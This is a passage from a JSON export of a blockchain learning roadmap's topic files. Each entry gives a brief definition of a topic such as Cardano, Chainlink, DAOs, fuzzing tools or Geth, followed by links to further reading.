    "content": "# Cardano\n\nCardano is a third-generation, open-source, decentralized public blockchain and cryptocurrency project. It uses a proof-of-stake consensus mechanism called Ouroboros, designed to be more energy-efficient and scalable than proof-of-work systems. Cardano aims to provide a secure and sustainable platform for decentralized applications (dApps) and smart contracts, with a focus on peer-reviewed research and a layered architecture.\n\nVisit the following resources to learn more:\n\n- [@official@Cardano](https://cardano.org/)\n- [@official@Cardano Docs](https://docs.cardano.org/)\n- [@article@Cardano (ADA): What It Is and How It Differs From Bitcoin](https://www.investopedia.com/cardano-definition-4683961)\n- [@video@What is Cardano? ADA Explained with Animations](https://www.youtube.com/watch?v=UMUztLQNqSI)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/chainlink@omQOhNfMO09pBc7oy76Wo.md",
    "content": "# Chainlink\n\nChainlink is a decentralized oracle network that provides real-world data to smart contracts on a blockchain. It acts as a bridge, securely connecting blockchains to external data sources, APIs, and payment systems. This allows smart contracts to access information like price feeds, weather data, and event outcomes, enabling them to execute based on real-world conditions.\n\nVisit the following resources to learn more:\n\n- [@course@Chainlink Fundamentals - Cyfrin Updraft](https://updraft.cyfrin.io/courses/chainlink-fundamentals)\n- [@article@What Is Chainlink? A Beginner's Guide](https://blog.chain.link/what-is-chainlink/)\n- [@article@What Is Chainlink in 5 Minutes](https://www.gemini.com/cryptopedia/what-is-chainlink-and-how-does-it-work)\n- [@video@Cyfrin Updraft | Getting real world price data from chainlink](https://updraft.cyfrin.io/courses/solidity/fund-me/getting-prices-from-chainlink)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/client-libraries@vZiDpX9pEB9gfueSKZiQL.md",
    "content": "# Client Libraries\n\nClient libraries are collections of pre-written code that simplify how applications interact with a blockchain. They provide functions and tools to easily connect to a blockchain network, send transactions, retrieve data, and manage smart contracts, abstracting away the complexities of low-level blockchain communication. This allows developers to focus on building the application's logic rather than dealing with the intricacies of blockchain protocols.\n\nVisit the following resources to learn more:\n\n- [@official@Viem Library](https://viem.sh)\n- [@article@Client Libraries](https://docs.waves.tech/en/building-apps/waves-api-and-sdk/client-libraries/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/client-nodes@CoYEwHNNmrQ0i0sSQTcB7.md",
    "content": "# Client Nodes\n\nClient nodes are the user's entry point to interact with a blockchain network and its decentralized applications (dApps). They provide an interface, often a web browser or a dedicated application, that allows users to send transactions, query blockchain data, and generally engage with the dApp's functionalities without needing to directly manage or understand the complexities of the underlying blockchain infrastructure. These nodes rely on other nodes in the network to verify and process transactions.\n\nVisit the following resources to learn more:\n\n- [@article@Nodes and Clients](https://ethereum.org/en/developers/docs/nodes-and-clients/)\n- [@article@Ethereum Nodes](https://www.coindesk.com/learn/ethereum-nodes-and-clients-a-complete-guide/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/code-coverage@4V-dj9x9hSAAGCxpBWsbE.md",
    "content": "# Code Coverage\n\nCode coverage is a metric that measures the extent to which the source code of a program is executed when a test suite is run. It helps identify areas of the code that are not being tested, potentially revealing bugs or vulnerabilities that might otherwise go unnoticed. It's expressed as a percentage, indicating the proportion of code lines, branches, or paths that have been exercised by the tests.\n\nVisit the following resources to learn more:\n\n- [@article@Testing Smart Contracts](https://ethereum.org/en/developers/docs/smart-contracts/testing/)\n- [@article@Smart Contract Code Coverage In Hardhat](https://medium.com/coinmonks/smart-contract-code-coverage-in-hardhat-d4a5ff6c9ba6)\n- [@feed@Explore top posts about General Programming](https://app.daily.dev/tags/general-programming?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/common-threat-vectors@GxD-KybtmkwT3wqDzIfHp.md",
    "content": "# Common Threat Vectors\n\nSmart contracts, while powerful, are susceptible to various vulnerabilities that attackers can exploit. These weaknesses, known as threat vectors, can lead to loss of funds, data manipulation, or denial of service. Common examples include reentrancy attacks, where a contract recursively calls itself before completing its initial execution, and integer overflows/underflows, which can cause unexpected behavior due to arithmetic errors. Other threats involve timestamp dependence, where contracts rely on block timestamps that can be manipulated by miners, and denial-of-service attacks that can make a contract unusable. Understanding these threat vectors is crucial for writing secure and reliable smart contracts.\n\nVisit the following resources to learn more:\n\n- [@opensource@Smart Contract Attack Vectors](https://github.com/kadenzipfel/smart-contract-attack-vectors)\n- [@article@Solidity Security Checkpoints](https://blog.sigmaprime.io/solidity-security.html)\n- [@article@Blockchain Attack Vectors: Vulnerabilities of the Most Secure Technology](https://www.apriorit.com/dev-blog/578-blockchain-attack-vectors)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/consensus-protocols@_BkpK9qgp9up8nXNH7q4m.md",
    "content": "# Consensus Protocols\n\nConsensus protocols are mechanisms that allow a distributed network of computers to agree on a single, consistent state of data. They ensure that all participants in the network can trust the information being shared, even when some participants might be unreliable or malicious. These protocols establish rules for how new information is added to the network and how conflicts are resolved, ultimately leading to a shared understanding of the truth.\n\nVisit the following resources to learn more:\n\n- [@article@Consensus Mechanisms in Blockchain: A Beginner’s Guide](https://crypto.com/university/consensus-mechanisms-explained)\n- [@article@Consensus Mechanisms](https://ethereum.org/en/developers/docs/consensus-mechanisms/)\n- [@article@What Is a Consensus Mechanism?](https://www.coindesk.com/learn/what-is-a-consensus-mechanism/)\n- [@article@Consensus Algorithm](https://www.cyfrin.io/glossary/consensus-algorithm)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/crypto-faucets@S68IUKs0k_FFHEH97xxs7.md",
    "content": "# Crypto Faucets\n\nCrypto faucets are websites or apps that distribute small amounts of cryptocurrency as a reward for completing simple tasks. These tasks can include things like solving captchas, watching ads, or playing games. The purpose of a faucet is to introduce people to cryptocurrencies and encourage them to learn more about the technology, often by providing them with a small amount of crypto to start experimenting with.\n\nVisit the following resources to learn more:\n\n- [@article@What Is A Crypto Faucet?](https://academy.binance.com/en/articles/what-is-a-crypto-faucet)\n- [@article@What are crypto faucets and how do they work?](https://cointelegraph.com/news/what-are-crypto-faucets-and-how-do-they-work)\n- [@feed@Explore top posts about Crypto](https://app.daily.dev/tags/crypto?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/crypto-wallets@SM8Wt3iNM_nncLj69KCuy.md",
    "content": "# Crypto Wallets\n\nCrypto wallets are tools that allow users to manage and interact with their cryptocurrencies. They don't actually store the crypto themselves; instead, they store the private keys needed to access and control your digital assets on the blockchain. These wallets enable users to send, receive, and store cryptocurrencies, as well as interact with decentralized applications (dApps).\n\nVisit the following resources to learn more:\n\n- [@course@Cyfrin Updraft | Smart Contract DevOps](https://updraft.cyfrin.io/courses/wallets)\n- [@article@What is a Crypto Wallet?: A Beginner’s Guide](https://crypto.com/university/crypto-wallets)\n- [@article@Crypto Wallet? What is it?](https://www.coinbase.com/learn/crypto-basics/what-is-a-crypto-wallet)\n- [@article@Choose your wallet - Ethereum](https://ethereum.org/en/wallets/find-wallet/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/cryptocurrencies@s1QqQc0We5yQaNF3Ogt4k.md",
    "content": "# Cryptocurrencies\n\nCryptocurrencies are digital or virtual currencies that use cryptography for security. They operate independently of a central bank and are often decentralized, meaning no single entity controls them. Transactions are typically recorded on a distributed public ledger called a blockchain.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Cryptocurrency?](https://www.investopedia.com/terms/c/cryptocurrency.asp)\n- [@article@Cryptocurrency: What It Is and How It Works](https://www.nerdwallet.com/article/investing/cryptocurrency)\n- [@article@Cyfrin Glossary | Cryptocurrency](https://www.cyfrin.io/glossary/cryptocurrency)\n- [@video@How Cryptocurrency actually works.](https://youtu.be/rYQgy8QDEBI)\n- [@feed@Explore top posts about Crypto](https://app.daily.dev/tags/crypto?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/cryptography--hashing@e_I-4Q6_qIW09Hcn-pgKm.md",
    "content": "# Cryptography\n\nCryptography is the art of secure communication. It involves techniques for encrypting messages, making them unreadable to anyone except the intended recipient who possesses the key to decrypt them. It also provides methods for verifying the authenticity and integrity of data, ensuring that it hasn't been tampered with and that it truly comes from the claimed source.\n\nVisit the following resources to learn more:\n\n- [@article@Cryptography](https://en.wikipedia.org/wiki/Cryptography)\n- [@article@What is Cryptography](https://www.synopsys.com/glossary/what-is-cryptography.html)\n- [@video@Asymmetric Encryption - Simply Explained](https://youtu.be/AQDCe585Lnc)\n- [@video@What is Cryptography?](https://www.youtube.com/watch?v=6_Cxj5WKpIw)\n- [@feed@Explore top posts about Cryptography](https://app.daily.dev/tags/cryptography?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/cryptography@e_I-4Q6_qIW09Hcn-pgKm.md",
    "content": "# Cryptography\n\nCryptography is the art of secure communication. It involves techniques for encrypting messages, making them unreadable to anyone except the intended recipient who possesses the key to decrypt them. It also provides methods for verifying the authenticity and integrity of data, ensuring that it hasn't been tampered with and that it truly comes from the claimed source.\n\nVisit the following resources to learn more:\n\n- [@article@Cryptography](https://en.wikipedia.org/wiki/Cryptography)\n- [@article@What is Cryptography](https://www.synopsys.com/glossary/what-is-cryptography.html)\n- [@video@Asymmetric Encryption - Simply Explained](https://youtu.be/AQDCe585Lnc)\n- [@video@What is Cryptography?](https://www.youtube.com/watch?v=6_Cxj5WKpIw)\n- [@feed@Explore top posts about Cryptography](https://app.daily.dev/tags/cryptography?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/cryptowallets@FSThY0R1OAZCIL98W3AMj.md",
    "content": "# Cryptowallets\n\nCryptowallets are tools that allow users to manage, store, and transact with cryptocurrencies. They don't actually hold the cryptocurrency itself; instead, they store the private keys needed to access and control your digital assets on the blockchain. These wallets come in various forms, including software, hardware, and paper, each offering different levels of security and convenience.\n\nVisit the following resources to learn more:\n\n- [@course@Web3 Wallet Security Basics - Cyfrin Updraft](https://updraft.cyfrin.io/courses/web3-wallet-security-basics)\n- [@course@Advanced Web3 Wallet Security - Cyfrin Updraft](https://updraft.cyfrin.io/courses/advanced-web3-wallet-security)\n- [@article@What is a Cryptocurrency Wallet?](https://www.investopedia.com/terms/b/bitcoin-wallet.asp)\n- [@article@What is a Crypto Wallet? A Beginner's Guide](https://crypto.com/university/crypto-wallets)\n- [@video@Cyfrin Updraft | Settin Up a Wallet](https://updraft.cyfrin.io/courses/blockchain-basics/basics/setting-up-your-wallet)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/daos@RsoOgixZlyQU6h7nIaY9J.md",
    "content": "# DAOs\n\nDAOs, or Decentralized Autonomous Organizations, are essentially internet-native organizations governed by rules encoded as computer programs (smart contracts) on a blockchain. These rules dictate how the organization operates, and decisions are made through proposals and voting by DAO members, often using tokens that represent ownership or voting rights. This system aims to create a transparent and democratic structure where control is distributed rather than centralized.\n\nVisit the following resources to learn more:\n\n- [@article@What Is A DAO And How Do They Work?](https://consensys.net/blog/blockchain-explained/what-is-a-dao-and-how-do-they-work/)\n- [@article@Decentralized Autonomous Organization (DAO)](https://www.investopedia.com/tech/what-dao/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/dapps---decentralized-applications@SXXvFtf_7Rx64cHSEWxMS.md",
    "content": "# Decentralized Applications (dApps)\n\nDecentralized applications, or dApps, are applications that run on a decentralized network, like a blockchain, rather than a single, centralized server. This means that the application's backend logic and data are distributed across many computers, making it more resistant to censorship and single points of failure. Users typically interact with dApps through a user interface, similar to traditional applications, but the underlying architecture is fundamentally different.\n\nVisit the following resources to learn more:\n\n- [@article@Introduction to dApps](https://ethereum.org/en/developers/docs/dapps/)\n- [@article@What Is a Dapp? Decentralized Apps Explained](https://www.coindesk.com/learn/what-is-a-dapp-decentralized-apps-explained/)\n- [@article@Cyfrin Glossary | dApp](https://www.cyfrin.io/glossary/dapp)\n- [@feed@Explore Top dApps on Ethereum and its Layer 2s](https://www.ethereum-ecosystem.com/apps)\n- [@feed@Explore Top Ethereum dApps](https://eth.blockscout.com/apps)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/dapps@oczIhxMB7WOhcAocIa2Ew.md",
    "content": "# Decentralized Applications (dApps)\n\nDecentralized applications, or dApps, are applications that run on a decentralized network, like a blockchain, rather than a single, centralized server. This means that the application's backend logic and data are distributed across many computers, making it more resistant to censorship and single points of failure. Users typically interact with dApps through a user interface, similar to traditional applications, but the underlying architecture is fundamentally different.\n\nVisit the following resources to learn more:\n\n- [@article@Decentralized Applications (dApps): What They Are, Uses, and Benefits](https://www.investopedia.com/terms/d/decentralized-applications-dapps.asp)\n- [@article@What is a decentralized application (dApp)?](https://www.kraken.com/learn/what-is-a-decentralized-application-dapp)\n- [@video@What Is a dApp? | How Decentralized Apps Work in Web3](https://www.youtube.com/watch?v=F2XTfezYTe8)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/decentralization-vs-trust@E9HR_voxQ2a2tvWUuva_p.md",
    "content": "# Decentralization vs. Trust\n\nDecentralization refers to the distribution of power and control away from a central authority. Trust, in this context, is the reliance on a third party or system to act honestly and reliably. The relationship between the two lies in how decentralization aims to reduce or eliminate the need for trust in a single entity by distributing it across a network.\n\nVisit the following resources to learn more:\n\n- [@article@What Crypto Is Really About](https://blog.chain.link/what-crypto-is-really-about/)\n- [@article@Ethereum Consensus Mechanisms](https://ethereum.org/en/developers/docs/consensus-mechanisms/)\n- [@video@The Superiority of Cryptographic Truth](https://youtu.be/AEtBPbmIRKQ)\n- [@feed@Explore top posts about Decentralization](https://app.daily.dev/tags/decentralization?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/decentralization@H9jvIlxX6P-C_cgPfZop4.md",
    "content": "# Decentralization\n\nDecentralization means power and control are distributed, rather than held by a single entity. Imagine a group of friends managing a shared bank account; no single person can make changes without the others knowing and agreeing. This shared control makes the system more resistant to censorship, single points of failure, and manipulation, as no one individual has the authority to alter the rules or data unilaterally.\n\nVisit the following resources to learn more:\n\n- [@article@Decentralization in Blockchain](https://www.investopedia.com/decentralized-finance-defi-5113835)\n- [@article@What is Decentralization?](https://aws.amazon.com/blockchain/decentralization-in-blockchain/)\n- [@article@What is Decentralization in Blockchain?](https://www.blockchain-council.org/blockchain/what-is-decentralization-in-blockchain/)\n- [@video@What Is Decentralization in Crypto, Exactly?](https://youtu.be/5iesIki27zw?si=3tUygdRSAveuxGlr)\n- [@feed@Explore top posts about Decentralization](https://app.daily.dev/tags/decentralization?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/decentralized-storage@tvk1Wh04BcFbAAwYWMx27.md",
    "content": "# Decentralized Storage\n\nDecentralized storage is where data is stored on a decentralized network across multiple locations by users or groups who are incentivized to join, store, and keep data accessible. The servers used are hosted by people, rather than a single company. Anyone is free to join, they are kept honest due to smart contracts, and they are incentivized to participate via tokens.\n\nVisit the following resources to learn more:\n\n- [@article@Decentralized Storage](https://ethereum.org/en/developers/docs/storage/)\n- [@article@What Is Decentralized Storage?](https://medium.com/@ppio/what-is-decentralized-storage-9c4b761942e2)\n- [@video@Cyfrin Updraft | Introduction to IPFS](https://updraft.cyfrin.io/courses/advanced-foundry/how-to-create-an-NFT-collection/what-is-ipfs)\n- [@feed@Explore top posts about Decentralized](https://app.daily.dev/tags/decentralized?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/defi@1AhombZUkZN6Ra5fysSpg.md",
    "content": "# Decentralized Finance (DeFi)\n\nDecentralized Finance (DeFi) refers to financial services built on blockchain technology, primarily using smart contracts. These services aim to replicate traditional financial systems like lending, borrowing, trading, and insurance, but in a decentralized and often permissionless manner. DeFi applications seek to remove intermediaries, increase transparency, and provide greater accessibility to financial products.\n\nVisit the following resources to learn more:\n\n- [@article@Decentralized Finance (DeFi) Definition](https://www.investopedia.com/decentralized-finance-defi-5113835)\n- [@article@What is DeFi?](https://www.coinbase.com/learn/crypto-basics/what-is-defi)\n- [@video@What is DeFi? (Decentralized Finance Animated)](https://www.youtube.com/watch?v=17QRFlml4pA)\n- [@feed@Explore top posts about DeFi](https://app.daily.dev/tags/defi?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/deployment@7goaYnedUlfgfl5qApoO2.md",
    "content": "# Smart Contract Deployment\n\nSmart contract deployment is the process of taking a smart contract, written in a language like Solidity, and making it live and executable on a blockchain network. This involves compiling the code into bytecode, paying a transaction fee (gas) to the network, and storing the contract's bytecode and initial state on the blockchain. Once deployed, the smart contract becomes an immutable and autonomous program that can be interacted with by users and other contracts.\n\nVisit the following resources to learn more:\n\n- [@article@Deploying Smart Contracts](https://ethereum.org/en/developers/docs/smart-contracts/deploying/)\n- [@article@Deploying and Interacting with Smart Contracts](https://docs.openzeppelin.com/learn/deploying-and-interacting)\n- [@video@Cyfrin Updraft | Deploying Your First Smart Contract](https://updraft.cyfrin.io/courses/solidity/simple-storage/deploying-solidity-smart-contract)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/deployment@cW3_Ki9Bx7fYluDLKKKgl.md",
    "content": "# dApp Deployment\n\nDeployment refers to the process of making a decentralized application (dApp) accessible and functional for users. This involves taking the code, smart contracts, and user interface components and placing them on the appropriate networks and servers so that users can interact with the dApp. It includes compiling smart contracts, migrating them to a blockchain network (like Ethereum), setting up the frontend hosting, and configuring any necessary backend services.\n\nVisit the following resources to learn more:\n\n- [@article@Tutorial for building an Ethereum DApp with Integrated Web3 Monitoring](https://www.moesif.com/blog/blockchain/ethereum/Tutorial-for-building-Ethereum-Dapp-with-Integrated-Error-Monitoring/)\n- [@video@Build and Deploy a Modern Web 3.0 Blockchain App](https://youtu.be/Wn_Kb3MR_cU)\n- [@feed@Explore top posts about CI/CD](https://app.daily.dev/tags/cicd?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/diligent-fuzzing@twR3UdzUNSztjpwbAUT4F.md",
    "content": "# Manticore\n\nManticore is a symbolic execution tool used for analyzing smart contracts and binary programs. It works by exploring all possible execution paths of a program, identifying potential vulnerabilities like integer overflows, underflows, and other security flaws. This allows developers to automatically detect and fix bugs before deployment.\n\nVisit the following resources to learn more:\n\n- [@official@Manticore Docs](https://manticore.readthedocs.io/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/echidna@U4H62lVac8wIgxNJ3N3ga.md",
    "content": "# Echidna\n\nEchidna is a Haskell program designed for fuzzing/property-based testing of Ethereum smart contracts. It generates random sequences of calls to the contract and checks if certain user-defined properties hold true after each sequence. This helps developers uncover unexpected behavior and potential vulnerabilities in their smart contract code.\n\nVisit the following resources to learn more:\n\n- [@official@Echidna - Smart Contracts](https://secure-contracts.com/program-analysis/echidna/index.html)\n- [@opensource@Echidna: A Fast Smart Contract Fuzzer](https://github.com/crytic/echidna/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/environmental-considerations@-dIX_3qo97B418_BmJ5wP.md",
    "content": "# Environmental Considerations\n\nBlockchain technology, particularly certain types like those using Proof-of-Work, can consume significant amounts of energy. This energy consumption stems from the computational power required to validate transactions and secure the network. The environmental impact is primarily due to the carbon footprint associated with the electricity used, especially if that electricity is generated from fossil fuels. This has led to concerns about the sustainability of some blockchain applications and spurred research into more energy-efficient consensus mechanisms.\n\nVisit the following resources to learn more:\n\n- [@article@What's the Environmental Impact of Cryptocurrency?](https://www.investopedia.com/tech/whats-environmental-impact-cryptocurrency/)\n- [@article@Blockchain and the environment](https://www.eea.europa.eu/publications/blockchain-and-the-environment/file)\n- [@article@Evaluating the environmental effects of bitcoin mining on energy and water use in the context of energy transition](https://www.nature.com/articles/s41598-025-92314-z)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/erc-tokens@bjUuL7WALETzgFxL6-ivU.md",
    "content": "# ERC Tokens\n\nERC tokens are a set of standards for creating tokens on the Ethereum blockchain. These standards define a common set of rules that tokens must follow, ensuring they can interact seamlessly with other applications and wallets within the Ethereum ecosystem. This standardization simplifies the process of creating, deploying, and using tokens for various purposes, such as representing digital assets, utility within a platform, or governance rights.\n\nVisit the following resources to learn more:\n\n- [@article@What are Ethereum Request for Comments (ERC) Standards](https://dev.to/envoy_/ks-what-are-ethereum-request-for-comments-erc-standards-5f80)\n- [@article@ERC-20 Token Standard](https://ethereum.org/en/developers/docs/standards/tokens/erc-20/)\n- [@article@ERC-721 Token Standard (NFTs)](https://decrypt.co/resources/erc-721-ethereum-nft-token-standard)\n- [@article@ERC-1155 Token Standard (Multi-Token)](https://decrypt.co/resources/what-is-erc-1155-ethereums-flexible-token-standard)\n- [@article@ERC3675](https://www.cyfrin.io/glossary/erc-3675)\n- [@article@ERC4337](https://www.cyfrin.io/glossary/erc-4337)\n- [@video@Cyfrin Updraft | Introduction To ERC Fundamentals and ERC20](https://updraft.cyfrin.io/courses/advanced-foundry/How-to-create-an-erc20-crypto-currency/erc-and-erc20-fundamentals)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/ethereum-20@9uz6LBQwYpOid61LrK5dl.md",
    "content": "# Ethereum 2.0\n\nEthereum 2.0, also known as Serenity, represents a major upgrade to the Ethereum blockchain. It transitions the network from a Proof-of-Work (PoW) consensus mechanism to a Proof-of-Stake (PoS) system called Casper, aiming to improve scalability, security, and sustainability. This upgrade also introduces sharding, which divides the blockchain into multiple smaller, more manageable pieces to increase transaction throughput.\n\nVisit the following resources to learn more:\n\n- [@article@What Is Ethereum 2.0?](https://consensys.net/blog/blockchain-explained/what-is-ethereum-2/)\n- [@article@What Is Ethereum 2.0? Understanding The Merge](https://www.forbes.com/advisor/investing/cryptocurrency/ethereum-2/)\n- [@feed@Explore top posts about Ethereum](https://app.daily.dev/tags/ethereum?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/ethereum@JLXIbP-y8C2YktIk3R12m.md",
    "content": "# Ethereum\n\nEthereum is an open-source, decentralized blockchain platform that establishes a peer-to-peer network for securely executing and verifying application code, referred to as smart contracts. It enables participants to transact with each other without a trusted central authority. Transactions on Ethereum are grouped into blocks, which are then cryptographically linked together to form a chain, ensuring data integrity and immutability.\n\nVisit the following resources to learn more:\n\n- [@official@Introduction to Ethereum](https://ethereum.org/en/developers/docs/intro-to-ethereum/)\n- [@official@Ethereum Whitepaper](https://ethereum.org/en/whitepaper/)\n- [@article@A Gentle Introduction to Ethereum](https://bitsonblocks.net/2016/10/02/gentle-introduction-ethereum/)\n- [@feed@Explore top posts about Ethereum](https://app.daily.dev/tags/ethereum?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/ethersjs@i-ltfXPTCu3WaBo-xaN05.md",
    "content": "# ethers.js\n\nEthers.js is a JavaScript library that simplifies interacting with the Ethereum blockchain and its ecosystem. It provides a complete and well-tested set of tools for developers to create and deploy smart contracts, send transactions, and interact with blockchain data. Ethers.js aims to be a user-friendly and comprehensive alternative to other Ethereum JavaScript libraries.\n\nVisit the following resources to learn more:\n\n- [@official@Ethers.js Documentation](https://docs.ethers.io/)\n- [@feed@Explore top posts about JavaScript](https://app.daily.dev/tags/javascript?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/everscale@YC385OLECWjpZjVeWKksO.md",
    "content": "# Everscale\n\nEverscale is a layer-1 PoS blockchain network of the 5th generation. It is one of the most technologically advanced blockchain networks, and that is not a marketing exaggeration. Everscale incorporates all the blockchain innovations and concepts of recent years. Its versatility helps it develop as a decentralized hub for many blockchains and resource-demanding applications such as GameFi, DeFi, micro-transactions, real-time bidding, etc.\n\nVisit the following resources to learn more:\n\n- [@official@Everscale](https://everscale.network)\n- [@official@Everscale Documentation](https://docs.everscale.network/)\n- [@official@Everscale Guide](https://everscale.guide/)\n- [@official@Everscale - Getting Started](https://everscale.network/getting-started)\n- [@official@Everscale Whitepaper](https://coinpaprika.com/storage/cdn/whitepapers/10976405.pdf)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/evm-based@tSJyp46rkJcOtDqVpJX1s.md",
    "content": "# EVM based\n\nThe Ethereum Virtual Machine (EVM) is a dedicated software virtual stack that executes smart contract bytecode and is integrated into each Ethereum node. Simply said, EVM is a software framework that allows developers to construct Ethereum-based decentralized applications (DApps). All Ethereum accounts and smart contracts are stored on this virtual computer. Many blockchains have forked the Ethereum blockchain and added functionality on top, these blockchains are referred to as EVM-based blockchains.\n\nVisit the following resources to learn more:\n\n- [@official@EVM - Ethereum Virtual Machine](https://ethereum.org/en/developers/docs/evm/)\n- [@article@What is Ethereum Virtual Machine?](https://astrodev.hashnode.dev/blockchain-ethereum-evm)\n- [@video@Understanding the Ethereum Virtual Machine (EVM): Concepts and Architecture](https://www.youtube.com/watch?v=kCswGz9naZg)\n- [@feed@Explore top posts about EVM](https://app.daily.dev/tags/evm?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/fantom@trcGwYcFW5LQUUrAcbUf_.md",
    "content": "# Fantom\n\nFantom is a directed acyclic graph (DAG) smart contract platform that provides decentralized, scalable, and secure services. It's designed to overcome the limitations of older blockchain technologies, particularly in terms of transaction speed and cost. Fantom uses its own consensus mechanism called Lachesis, which allows for near-instant transaction finality and high throughput.\n\nVisit the following resources to learn more:\n\n- [@official@Fantom Overview](https://docs.fantom.foundation/)\n- [@article@Fantom Whitepaper](https://arxiv.org/pdf/1810.10360.pdf)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/foundry@F1EUAxODBJ3GEoh7cqM-K.md",
    "content": "# Foundry\n\nFoundry is a fast, portable, and modular toolkit for Ethereum application development. It's primarily used for writing, testing, and deploying smart contracts. Foundry offers a command-line interface and a Solidity-based testing environment, making it a popular choice for developers who prefer a more streamlined and efficient workflow compared to other frameworks.\n\nVisit the following resources to learn more:\n\n- [@course@Cyfrin Updraft | Foundry Fundamentals](https://updraft.cyfrin.io/courses/foundry)\n- [@course@Cyfrin Updraft | Foundry Advanced](https://updraft.cyfrin.io/courses/advanced-foundry)\n- [@official@Foundry Overview](https://book.getfoundry.sh/)\n- [@video@Introduction to Foundry](https://youtu.be/fNMfMxGxeag)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/frontend-frameworks@YR-U2njkUrEMO0JxCU1PH.md",
    "content": "# Frontend Frameworks\n\nFrontend frameworks provide a structured way to build the user interface of a web application. They typically include pre-built components, styling conventions, and tools that simplify the development process, allowing developers to create interactive and responsive user experiences more efficiently. These frameworks handle many of the common tasks involved in frontend development, such as managing the user interface state, handling events, and rendering data.\n\nVisit the following resources to learn more:\n\n- [@course@Full-Stack Web3 Development Crash Course](https://updraft.cyfrin.io/courses/full-stack-web3-development-crash-course)\n- [@article@Web3 Frontend – Everything You Need to Learn About Building Dapp Frontends](https://moralis.io/web3-frontend-everything-you-need-to-learn-about-building-dapp-frontends/)\n- [@video@What is the difference between a framework and a library?](https://www.youtube.com/watch?v=D_MO9vIRBcA)\n- [@video@Which JS Framework is best?](https://www.youtube.com/watch?v=cuHDQhDhvPE)\n- [@feed@Explore top posts about Frontend Development](https://app.daily.dev/tags/frontend?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/fuzz-testing--static-analysis@wypJdjTW4jHm9FCqv7Lhb.md",
    "content": "# Fuzz Testing & Static Analysis\n\nFuzz testing involves providing invalid, unexpected, or random data as input to a program to identify potential vulnerabilities and bugs. Static analysis, on the other hand, examines the source code of a program without actually executing it, looking for potential errors, security flaws, and coding standard violations. Both techniques are used to improve the robustness and security of software.\n\nVisit the following resources to learn more:\n\n- [@article@Getting Started with Smart Contract Fuzzing](https://www.immunebytes.com/blog/getting-started-with-smart-contract-fuzzing/)\n- [@article@Solidity Smart Contract Static Code Analysis](https://lightrains.com/blogs/solidity-static-analysis-tools/#static-code-analysis)\n- [@video@Smart Contract Fuzzing](https://youtu.be/LRyyNzrqgOc)\n- [@video@Cyfrin Updraft | Stateful And Stateless Fuzzing](https://updraft.cyfrin.io/courses/security/tswap/stateful-and-stateless-fuzzing)\n- [@feed@Explore top posts about Testing](https://app.daily.dev/tags/testing?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/general-blockchain-knowledge@bA4V_9AbV3uQi3qrtLWk0.md",
    "content": "# General Blockchain Knowledge\n\nGeneral blockchain knowledge encompasses the fundamental concepts and principles that underpin blockchain technology. This includes understanding what a blockchain is, how it works as a distributed and immutable ledger, and the key components like blocks, transactions, consensus mechanisms, and cryptography. It also involves grasping the different types of blockchains (public, private, permissioned), their use cases beyond cryptocurrencies, and the potential benefits and limitations of this technology.\n\nVisit the following resources to learn more:\n\n- [@course@Cyfirn Updraft | Blockchain Basics](https://updraft.cyfrin.io/courses/blockchain-basics)\n- [@course@The Complete Course On Understanding Blockchain Technology](https://www.udemy.com/course/understanding-blockchain-technology/)\n- [@article@What is a Blockchain?](https://www.wired.com/story/guide-blockchain/)\n- [@video@Blockchain Technology Explained](https://youtu.be/qOVAbKKSH10)\n- [@feed@Explore top posts about Blockchain](https://app.daily.dev/tags/blockchain?ref=roadmapsh)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/geth@DBRaXtwvdq2UGE8rVCmI1.md",
    "content": "# Geth\n\nGeth, short for Go Ethereum, is a command-line interface for running a full Ethereum node implemented in the Go programming language. It allows you to interact with the Ethereum blockchain, mine Ether, create and deploy smart contracts, and inspect block and transaction data. Essentially, Geth provides the core infrastructure needed to participate in the Ethereum network.\n\nVisit the following resources to learn more:\n\n- [@official@Geth](https://geth.ethereum.org/)\n- [@official@Geth Documentation](https://geth.ethereum.org/docs/)"
  },
  {
    "path": "src/data/roadmaps/blockchain/content/git@gpS5CckcQZX3TMFQ2jtIL.md",
